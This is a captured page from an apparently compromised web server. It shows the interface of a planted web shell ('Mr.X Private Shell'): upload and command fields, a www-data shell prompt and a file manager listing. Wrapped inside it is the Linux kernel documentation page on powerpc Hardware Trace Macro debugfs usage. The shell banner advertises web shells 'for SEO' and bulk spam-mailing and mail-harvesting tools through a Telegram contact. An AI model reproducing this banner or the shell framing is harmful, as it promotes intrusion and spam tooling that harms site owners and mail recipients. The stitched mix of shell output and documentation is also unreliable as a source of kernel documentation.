__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>HTM (Hardware Trace Macro) &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="HVCS IBM “Hypervisor Virtual Console Server” Installation Guide" href="hvcs.html" />
    <link rel="prev" title="Firmware-Assisted Dump" href="firmware-assisted-dump.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="../index.html">CPU architectures</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../arc/index.html">ARC architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm/index.html">ARM Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm64/index.html">ARM64 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../loongarch/index.html">LoongArch Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../m68k/index.html">m68k Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../mips/index.html">MIPS-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../nios2/index.html">Nios II Specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../openrisc/index.html">OpenRISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../parisc/index.html">PA-RISC Architecture</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html">powerpc</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="associativity.html">NUMA resource associativity</a></li>
<li class="toctree-l3"><a class="reference internal" href="booting.html">DeviceTree Booting</a></li>
<li class="toctree-l3"><a class="reference internal" href="bootwrapper.html">The PowerPC boot wrapper</a></li>
<li class="toctree-l3"><a class="reference internal" href="cpu_families.html">CPU Families</a></li>
<li class="toctree-l3"><a class="reference internal" href="cpu_features.html">CPU Features</a></li>
<li class="toctree-l3"><a class="reference internal" href="dawr-power9.html">DAWR issues on POWER9</a></li>
<li class="toctree-l3"><a class="reference internal" href="dexcr.html">DEXCR (Dynamic Execution Control Register)</a></li>
<li class="toctree-l3"><a class="reference internal" href="dscr.html">DSCR (Data Stream Control Register)</a></li>
<li class="toctree-l3"><a class="reference internal" href="eeh-pci-error-recovery.html">PCI Bus EEH Error Recovery</a></li>
<li class="toctree-l3"><a class="reference internal" href="elf_hwcaps.html">POWERPC ELF HWCAPs</a></li>
<li class="toctree-l3"><a class="reference internal" href="elfnote.html">ELF Note PowerPC Namespace</a></li>
<li class="toctree-l3"><a class="reference internal" href="firmware-assisted-dump.html">Firmware-Assisted Dump</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">HTM (Hardware Trace Macro)</a></li>
<li class="toctree-l3"><a class="reference internal" href="hvcs.html">HVCS IBM “Hypervisor Virtual Console Server” Installation Guide</a></li>
<li class="toctree-l3"><a class="reference internal" href="imc.html">IMC (In-Memory Collection Counters)</a></li>
<li class="toctree-l3"><a class="reference internal" href="isa-versions.html">CPU to ISA Version Mapping</a></li>
<li class="toctree-l3"><a class="reference internal" href="kaslr-booke32.html">KASLR for Freescale BookE32</a></li>
<li class="toctree-l3"><a class="reference internal" href="mpc52xx.html">Linux 2.6.x on MPC52xx family</a></li>
<li class="toctree-l3"><a class="reference internal" href="kvm-nested.html">Nested KVM on POWER</a></li>
<li class="toctree-l3"><a class="reference internal" href="papr_hcalls.html">Hypercall Op-codes (hcalls)</a></li>
<li class="toctree-l3"><a class="reference internal" href="pci_iov_resource_on_powernv.html">PCI Express I/O Virtualization Resource on Powerenv</a></li>
<li class="toctree-l3"><a class="reference internal" href="pmu-ebb.html">PMU Event Based Branches</a></li>
<li class="toctree-l3"><a class="reference internal" href="ptrace.html">Ptrace</a></li>
<li class="toctree-l3"><a class="reference internal" href="qe_firmware.html">Freescale QUICC Engine Firmware Uploading</a></li>
<li class="toctree-l3"><a class="reference internal" href="syscall64-abi.html">Power Architecture 64-bit Linux system call ABI</a></li>
<li class="toctree-l3"><a class="reference internal" href="transactional_memory.html">Transactional Memory support</a></li>
<li class="toctree-l3"><a class="reference internal" href="ultravisor.html">Protected Execution Facility</a></li>
<li class="toctree-l3"><a class="reference internal" href="vas-api.html">Virtual Accelerator Switchboard (VAS) userspace API</a></li>
<li class="toctree-l3"><a class="reference internal" href="vcpudispatch_stats.html">VCPU Dispatch Statistics</a></li>
<li class="toctree-l3"><a class="reference internal" href="vmemmap_dedup.html">Device DAX</a></li>
<li class="toctree-l3"><a class="reference internal" href="vpa-dtl.html">DTL (Dispatch Trace Log)</a></li>
<li class="toctree-l3"><a class="reference internal" href="features.html">Feature status on powerpc architecture</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../riscv/index.html">RISC-V architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../s390/index.html">s390 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sh/index.html">SuperH Interfaces Guide</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sparc/index.html">Sparc Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../x86/index.html">x86-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../xtensa/index.html">Xtensa Architecture</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/arch/powerpc/htm.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="htm-hardware-trace-macro">
<span id="htm"></span><h1><a class="toc-backref" href="#id1" role="doc-backlink">HTM (Hardware Trace Macro)</a><a class="headerlink" href="#htm-hardware-trace-macro" title="Link to this heading">¶</a></h1>
<p>Athira Rajeev, 2 Mar 2025</p>
<nav class="contents" id="contents">
<p class="topic-title">Contents</p>
<ul class="simple">
<li><p><a class="reference internal" href="#htm-hardware-trace-macro" id="id1">HTM (Hardware Trace Macro)</a></p>
<ul>
<li><p><a class="reference internal" href="#basic-overview" id="id2">Basic overview</a></p></li>
<li><p><a class="reference internal" href="#htm-debugfs-example-usage" id="id3">HTM debugfs example usage</a></p></li>
<li><p><a class="reference internal" href="#read-the-htm-trace-data" id="id4">Read the HTM trace data</a></p></li>
<li><p><a class="reference internal" href="#benefits-of-using-htm-debugfs-interface" id="id5">Benefits of using HTM debugfs interface</a></p></li>
</ul>
</li>
</ul>
</nav>
<section id="basic-overview">
<h2><a class="toc-backref" href="#id2" role="doc-backlink">Basic overview</a><a class="headerlink" href="#basic-overview" title="Link to this heading">¶</a></h2>
<p>H_HTM is used as an interface for executing Hardware Trace Macro (HTM)
functions, including setup, configuration, control and dumping of the HTM data.
For using HTM, it is required to setup HTM buffers and HTM operations can
be controlled using the H_HTM hcall. The hcall can be invoked for any core/chip
of the system from within a partition itself. To use this feature, a debugfs
folder called “htmdump” is present under /sys/kernel/debug/powerpc.</p>
</section>
<section id="htm-debugfs-example-usage">
<h2><a class="toc-backref" href="#id3" role="doc-backlink">HTM debugfs example usage</a><a class="headerlink" href="#htm-debugfs-example-usage" title="Link to this heading">¶</a></h2>
<div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1">#  ls /sys/kernel/debug/powerpc/htmdump/</span>
coreindexonchip<span class="w">  </span>htmcaps<span class="w">  </span>htmconfigure<span class="w">  </span>htmflags<span class="w">  </span>htminfo<span class="w">  </span>htmsetup
htmstart<span class="w">  </span>htmstatus<span class="w">  </span>htmtype<span class="w">  </span>nodalchipindex<span class="w">  </span>nodeindex<span class="w">  </span>trace
</pre></div>
</div>
<p>Details on each file:</p>
<ul class="simple">
<li><p>nodeindex, nodalchipindex, coreindexonchip specifies which partition to configure the HTM for.</p></li>
<li><p>htmtype: specifies the type of HTM. Supported target is hardwareTarget.</p></li>
<li><p>trace: is to read the HTM data.</p></li>
<li><p>htmconfigure: Configure/Deconfigure the HTM. Writing 1 to the file will configure the trace, writing 0 to the file will do deconfigure.</p></li>
<li><p>htmstart: start/Stop the HTM. Writing 1 to the file will start the tracing, writing 0 to the file will stop the tracing.</p></li>
<li><p>htmstatus: get the status of HTM. This is needed to understand the HTM state after each operation.</p></li>
<li><p>htmsetup: set the HTM buffer size. Size of HTM buffer is in power of 2</p></li>
<li><p>htminfo: provides the system processor configuration details. This is needed to understand the appropriate values for nodeindex, nodalchipindex, coreindexonchip.</p></li>
<li><p>htmcaps : provides the HTM capabilities like minimum/maximum buffer size, what kind of tracing the HTM supports etc.</p></li>
<li><p>htmflags : allows to pass flags to hcall. Currently supports controlling the wrapping of HTM buffer.</p></li>
</ul>
<p>To see the system processor configuration details:</p>
<div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># cat /sys/kernel/debug/powerpc/htmdump/htminfo &gt; htminfo_file</span>
</pre></div>
</div>
<p>The result can be interpreted using hexdump.</p>
<p>To collect HTM traces for a partition represented by nodeindex as
zero, nodalchipindex as 1 and coreindexonchip as 12</p>
<div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># cd /sys/kernel/debug/powerpc/htmdump/</span>
<span class="c1"># echo 2 &gt; htmtype</span>
<span class="c1"># echo 33 &gt; htmsetup ( sets 8GB memory for HTM buffer, number is size in power of 2 )</span>
</pre></div>
</div>
<p>This requires a CEC reboot to get the HTM buffers allocated.</p>
<div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># cd /sys/kernel/debug/powerpc/htmdump/</span>
<span class="c1"># echo 2 &gt; htmtype</span>
<span class="c1"># echo 0 &gt; nodeindex</span>
<span class="c1"># echo 1 &gt; nodalchipindex</span>
<span class="c1"># echo 12 &gt; coreindexonchip</span>
<span class="c1"># echo 1 &gt; htmflags     # to set noWrap for HTM buffers</span>
<span class="c1"># echo 1 &gt; htmconfigure # Configure the HTM</span>
<span class="c1"># echo 1 &gt; htmstart     # Start the HTM</span>
<span class="c1"># echo 0 &gt; htmstart     # Stop the HTM</span>
<span class="c1"># echo 0 &gt; htmconfigure # Deconfigure the HTM</span>
<span class="c1"># cat htmstatus         # Dump the status of HTM entries as data</span>
</pre></div>
</div>
<p>Above will set the htmtype and core details, followed by executing respective HTM operation.</p>
</section>
<section id="read-the-htm-trace-data">
<h2><a class="toc-backref" href="#id4" role="doc-backlink">Read the HTM trace data</a><a class="headerlink" href="#read-the-htm-trace-data" title="Link to this heading">¶</a></h2>
<p>After starting the trace collection, run the workload
of interest. Stop the trace collection after required period
of time, and read the trace file.</p>
<div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># cat /sys/kernel/debug/powerpc/htmdump/trace &gt; trace_file</span>
</pre></div>
</div>
<p>This trace file will contain the relevant instruction traces
collected during the workload execution. And can be used as
input file for trace decoders to understand data.</p>
</section>
<section id="benefits-of-using-htm-debugfs-interface">
<h2><a class="toc-backref" href="#id5" role="doc-backlink">Benefits of using HTM debugfs interface</a><a class="headerlink" href="#benefits-of-using-htm-debugfs-interface" title="Link to this heading">¶</a></h2>
<p>It is now possible to collect traces for a particular core/chip
from within any partition of the system and decode it. Through
this enablement, a small partition can be dedicated to collect the
trace data and analyze to provide important information for Performance
analysis, Software tuning, or Hardware debug.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/arch/powerpc/htm.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
associativity.html File 17.26 KB 0644
booting.html File 17.66 KB 0644
bootwrapper.html File 19.02 KB 0644
cpu_families.html File 18.98 KB 0644
cpu_features.html File 15.25 KB 0644
dawr-power9.html File 16.93 KB 0644
dexcr.html File 23.44 KB 0644
dscr.html File 16.57 KB 0644
eeh-pci-error-recovery.html File 30.64 KB 0644
elf_hwcaps.html File 21.25 KB 0644
elfnote.html File 14.23 KB 0644
features.html File 21.26 KB 0644
firmware-assisted-dump.html File 31.38 KB 0644
htm.html File 18.57 KB 0644
hvcs.html File 37.88 KB 0644
imc.html File 24.58 KB 0644
index.html File 15.72 KB 0644
isa-versions.html File 18.65 KB 0644
kaslr-booke32.html File 13.87 KB 0644
kvm-nested.html File 46.72 KB 0644
mpc52xx.html File 13.67 KB 0644
papr_hcalls.html File 30.83 KB 0644
pci_iov_resource_on_powernv.html File 28.11 KB 0644
pmu-ebb.html File 18.94 KB 0644
ptrace.html File 19.23 KB 0644
qe_firmware.html File 27.16 KB 0644
syscall64-abi.html File 20.32 KB 0644
transactional_memory.html File 25.49 KB 0644
ultravisor.html File 80.51 KB 0644
vas-api.html File 26.53 KB 0644
vcpudispatch_stats.html File 15.35 KB 0644
vmemmap_dedup.html File 19.65 KB 0644
vpa-dtl.html File 28.02 KB 0644
Filemanager